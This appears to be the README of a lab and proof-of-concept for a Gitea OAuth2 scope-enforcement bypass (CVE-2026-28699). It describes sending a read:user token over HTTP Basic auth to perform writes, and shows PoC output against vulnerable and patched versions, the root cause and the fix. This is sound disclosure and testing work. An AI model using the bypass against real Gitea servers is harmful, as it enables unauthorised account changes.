
Lab + writeup for CVE-2026-28699: Gitea OAuth2 scope enforcement bypass via HTTP Basic auth
A Gitea OAuth2 access token scoped to only read:user can perform full write actions when it is sent as Authorization: Basic base64(<token>:x-oauth-basic) instead of as a Bearer token. The scope check is skipped for any token presented over Basic auth.
Affected: <= 1.26.1. Fixed in 1.26.2.
Advisory: GHSA-9r5x-wg6m-x2rc. CWE-863. Severity High.
Full writeup: WRITEUP.md
pip install -r requirements.txt # requests
python fetch_binaries.py # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
python poc.py 1.26.1 # vulnerable: Basic-auth write succeeds (scope bypassed)
python poc.py 1.26.2 # patched: Basic-auth write blocked (403)
poc.py stands up a throwaway Gitea on SQLite in the system temp dir, runs the OAuth2 authorization-code flow to mint a read:user-only token, then calls a write endpoint over both Bearer and Basic and prints the verdict. Set POC_DEBUG=1 to see the auth-flow steps.
Vulnerable 1.26.1:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 200 (ALLOWED -- scope BYPASSED)
>>> VULNERABLE: read:user token performed a write via Basic auth.
Patched 1.26.2:
[Bearer] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
[Basic ] PATCH /api/v1/user/settings -> HTTP 403 (blocked)
>>> PATCHED: scope enforced on both Bearer and Basic.
| Auth presentation | IsApiToken | ApiTokenScope | scope enforced? |
|---|---|---|---|
| OAuth2 token via Bearer | true | set | yes |
| OAuth2 token via Basic | true | missing | no (fails open) |
| Personal access token | true | set | yes |
services/auth/basic.go set IsApiToken but not ApiTokenScope for OAuth2 tokens. The tokenRequiresScopes middleware returns early when the scope is absent, so nothing is checked. The 1.26.2 fix adds the missing store.GetData()["ApiTokenScope"] = accessTokenScope.
| File | Purpose |
|---|---|
WRITEUP.md | Root-cause analysis, impact, remediation, detection |
fetch_binaries.py | Downloads the 1.26.1 / 1.26.2 binaries for your OS/arch |
poc.py | Provisions Gitea, mints a read:user token, tests Bearer vs Basic |
requirements.txt | requests |
For education and authorised security testing: your own lab, CTF and HTB boxes, in-scope bug bounty targets. The PoC runs its own disposable Gitea, so point it at nothing you don't own.